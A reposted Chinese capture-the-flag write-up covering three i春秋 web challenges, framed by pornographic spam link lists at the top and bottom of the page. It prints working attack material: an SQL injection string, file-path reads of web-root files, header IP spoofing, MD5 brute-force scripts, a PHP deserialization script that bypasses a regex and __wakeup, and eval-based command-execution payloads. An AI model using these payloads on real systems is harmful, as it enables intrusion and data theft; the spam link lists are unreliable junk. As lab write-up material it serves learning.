日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

I春秋——web Write up(三)

發布時間:2024/9/30 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 I春秋——web Write up(三) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:繼續總結,學習更多關于web知識和練習編寫腳本的能力。

GetFlag


一個登陸框加上驗證碼,不過有一點不同的是substr(md5(captcha), 0, 6)=e7e24a,截取MD5加密后驗證碼的前6位,而且需要等于后面的值(后面的值是變化的)

那就屬于MD5碰撞了,就模仿大師傅寫一個python腳本跑一下

import requests //requests庫是一個常用的用于http請求的模塊 import base64 import sys //該模塊提供對解釋器使用或維護的一些變量的訪問,以及與解釋器強烈交互的函數 import hashlib //主要提供 SHA1, SHA224, SHA256, SHA384, SHA512 ,MD5 算法def getMd5(index):for i in range(100000,100000000):x = imd5 = hashlib.md5(str(x).encode("utf8")).hexdigest()if md5[0:6] == index:return x; print(getMd5("e7e24a"))

得出驗證碼

觀察源碼,沒有發現什么線索,嘗試一下SQL注入

' or 1=1#


把文件下載下來

其中兩個txt文件沒有什么用處,有用的就是那一個php文件

flag is in the web root dir

這句話提示flag在web根目錄,抓包看看

發現并沒有什么線索,點擊超鏈接再抓包試試,發現GET處是文件id查詢的形式,所以這里應該就可以從這里查看到根目錄文件

改成flag.php沒用,但改成./flag.php有反應

以為這樣就可以得出flag,結果是我想多了,不管試多少個./././都無用,所以不能用目錄縮寫來跳過,只能輸入正確的根目錄

利用CONNECT請求方式,查看是什么服務器

Linux服務器,那就用常用的web根目錄試下

/var/www/html

輸入/var/www/html/flag.php什么也沒有顯示

試下/var/www/html/Challenges/flag.php發現有源碼出現(注釋是自己添加的)

這段代碼涉及了try...catch拋出異常,先執行try里面的語句,如果語句中有異常則執行catch語句,不過這段代碼較為容易,我們只需滿足$spaceone === 'flag'即可,所以通過POST方式構造

flag=flag; //加分號是因為eval() 函數把字符串按照 PHP 代碼來計算

即可得出flag

fuzzing


什么也沒有,抓包看看有什么線索吧

發現一句提示提示:IP,大型內部網絡,百度查詢大型內部網絡,A類IP地址都是用于大型網絡,在百度百科上查到使用范圍

偽造IP地址,修改X-Forwarded-For的值,修改過后,發現

打開看看有什么

show your key一開始到這里沒思路了,看了大師傅的博客才知道這里key是參數。。。,以為是像之前一樣的id爆破,結果不是。

那就改變請求方式,以POST方式請求

發現一句話

key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

這句話講的很清楚了,key后面的三位是從a-z或0-9選的,最后拼成MD5值為1b4167610ba3f2ac426a68488dbd89be

那就寫腳本來爆破吧

import hashlibmd5 = '1b4167610ba3f2ac426a68488dbd89be' s = 'abcdefghijklmnopqrstuvwxyz0123456789'for i in s:for j in s:for k in s:key = "ichunqiu"+i+j+kif(hashlib.md5(key.encode("utf8")).hexdigest() == md5):print(key)

得出key的值ichunqiu105

再次請求,發現一個xx00xxoo.php文件

訪問后得到一段文字

source code is in the x0.txt.Can you guess the key
the authcode(flag) is 06e16LKT9I7Lnahh402yiyttEdV1Bq9mMnFay+x7DDf+HUMY3/s7Ktyx5GUjCc/6zWsujs9wUp6ZPbt//yGWv7IlMaf/lAo

提示說源碼在x0.txt中,那就來查看一下

剛得到一臉懵,不會這么長的代碼吧,仔細觀察便發現代碼中并未包含有flag,而且這段代碼就是一個解密函數,再加上提示的
我們直接調用函數解密輸出即可f得出flag

echo authcode($string='5371AysJMuHkb9xTZSJegnyFbeNV5o5hqadMgEoJC6MH8KLmyr6Ys4ob4lLGkI5qcGo/WE1bGJ2IQnh6PMP7L2f1fqp8sLw',$operation = 'DECODE',$key = 'ichunqiu105');


這個題目。。。一開始還以為是模糊測試,結果不是。。。

Hash


進行抓包,看看有什么線索

發現一段話

you are 123;if you are not 123,you can get the flag
<!–hash=md5(hash=md5(hash=md5(sign.$key);the length of $sign is 8

hash的值是由8位的sign和key組成的,提示說只要不是123,就可以得到flag,那我們將key改為124,提交但是hash值不正確

所以我們需要先求出來sign的值,然后再和我們所設的124連在一起求MD5即可

在線MD5解一開始的hash值

還真查到了,一直以為需要寫腳本給跑出來,那sign的值便是kkkkkk01,結合124,在線MD5加密,提交即可

又得到一個線索,訪問一下,發現源碼

那接下來就來審計代碼

一個Demo類,有三個魔法函數,簡單介紹一下

__construct 在每次創建新對象時先調用此方法 __destruct 對象的所有引用都被刪除或者當對象被顯式銷毀時執行 __wakeup unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法

下面if語句判斷是否存在GET方式進入的var,如果滿足匹配的正則表達式,則回顯STOP,否則則進行反序列化,在反序列化之前,先調用__wakeup魔法函數,如果指向的file不是Gu3ss_m3_h2h2.php,則會強制指向Gu3ss_m3_h2h2.php

審計完代碼,思路也就很清晰了,提示說秘密在f15g_1s_here.php,根據這串代碼,我們需要將f15g_1s_here.php先序列化,最后讓源碼解開,其中還必須繞過正則表達式和__wakeup的檢查,才可以成功

模仿大師傅的腳本

<?php class Demo {private $file = 'Gu3ss_m3_h2h2.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'Gu3ss_m3_h2h2.php') {//the secret is in the f15g_1s_here.php$this->file = 'Gu3ss_m3_h2h2.php';}}}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//繞過正則$s = str_replace(':1:', ':2:' ,$s);//繞過wakeup函數echo base64_encode($s);//最后base64編碼?>

簡單解釋一下$s = str_replace('O:4', 'O:+4',$s);能繞過正則表達式
因為在源碼中[oc]會任意匹配其中的一個字符,正則表達式中有模式修正符i,i 不區分(ignore)大小寫;例如: /abc/i 可以匹配 abc、aBC、Abc ',所以可以匹配到O,\d用來匹配數字,而我們構造O:+4則可以繞過這一匹配,從而讓匹配不成功,繞過正則

之所以$s = str_replace(':1:', ':2:' ,$s);能繞過wakeup函數,是因為當成員屬性數目大于實際數目時可繞過該函數

得出結果

直接在URL將base64編碼的值傳進去,又會發現一段源碼

有eval函數,但同時也有addslashes轉義函數,addslashes轉義函數會
轉義'和",所以只能用反引號 ` ,構造payload:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`ls`;


查看flag即可

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

解釋一下${}、反引號,這里涉及到命令代換

shell執行命令并將命令替換部分替換為執行該命令后的結果(先執行該命令,然后用結果代換到命令行中)

反引號和${}者兩種命令的功能是相同的,在執行一條命令時,會將``或者${}中的語句當做命令執行以便,再把結果加入到原命令中重新執行

具體可以看大師傅的博客
命令代換

好了,這次就先總結到這里,又學到不少知識,下次繼續總結!

總結

以上是生活随笔為你收集整理的I春秋——web Write up(三)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 狠狠操一区 | 爱爱免费网址 | 麻豆性生活| 国产日韩欧美电影 | 诱夫1v1高h | 超碰青娱乐 | 欧洲视频在线观看 | 男女做激情爱呻吟口述全过程 | 在线成人毛片 | 欧美浓毛大泬视频 | a一级免费视频 | 国产女主播在线观看 | 日本一二三区视频在线 | 欧美日韩久久婷婷 | 黄色性大片 | av中文资源网 | 欧美三级一级片 | 麻豆精品一区二区 | 日韩欧美精品在线观看 | 久一视频在线观看 | 在线资源av| 久久a久久 | 在线观看免费视频一区二区 | 亚洲精品丝袜 | 国产精品一区二区免费在线观看 | 国产粉嫩一区二区三区 | 成人福利在线视频 | 欧美一区二区黄片 | 91漂亮少妇露脸在线播放 | 久久精品人妻一区二区 | av中文字幕网 | 日韩视频播放 | 少妇精品久久久久久久久久 | 永久免费AV无码网站韩国毛片 | 在线观看视频色 | 日本免费成人 | 久久99精品久久久久久园产越南 | 国产高清精品在线 | 欧美夫妻性生活视频 | 喷水了…太爽了高h | 亲切的金子餐桌片段的金子 | 麻豆高清免费国产一区 | 大胸美女啪啪 | 欧美区一区二区三 | 91手机视频在线观看 | 少妇精品久久久一区二区三区 | 欧美激情久久久 | 国产精品卡一 | 俺也去婷婷 | 精品影片一区二区入口 | 国产区91 | 日韩av在线免费 | 亚洲免费观看视频 | 日韩毛片网站 | 国产一区在线不卡 | 国产激情综合 | 免费一级特黄毛大片 | 午夜欧美激情 | 精品视频在线观看一区二区 | 一区二区三区激情 | 欧美激情一区二区三区免费观看 | 成年人黄色小视频 | 黄色在线播放 | 久久久久99精品成人片试看 | 97超碰人人网| 欧美精品在线看 | 欧美成人黄色小说 | 亚洲视频在线观看 | 久久影视| 午夜视频大全 | 91挑色| 亚洲视频一区二区三区在线观看 | 免费吸乳羞羞网站视频 | 日韩精品三级 | 麻豆一二三区 | 久久久久久久一区二区 | 精品国产乱码久久久久久鸭王1 | 视频在线播 | 性欧美又大又长又硬 | 色哟哟免费观看 | 好男人在线观看 | 国产毛片儿 | 国产夫妻自拍小视频 | 哺乳期喷奶水丰满少妇 | 久久国产人妻一区二区免色戒电影 | 国产成人一区二区三区电影 | 水蜜桃av在线 | 国产美女免费看 | 国产三级午夜理伦三级 | 人人妻人人澡人人爽人人欧美一区 | 蜜桃视频一区二区 | 欧美成人一二三区 | 可以在线看的av | 精品人成 | 久久午夜伦理 | 亚洲一区二区观看 | 丰满少妇一区二区三区视频 | 三级av免费看 | 成熟女人毛片www免费版在线 |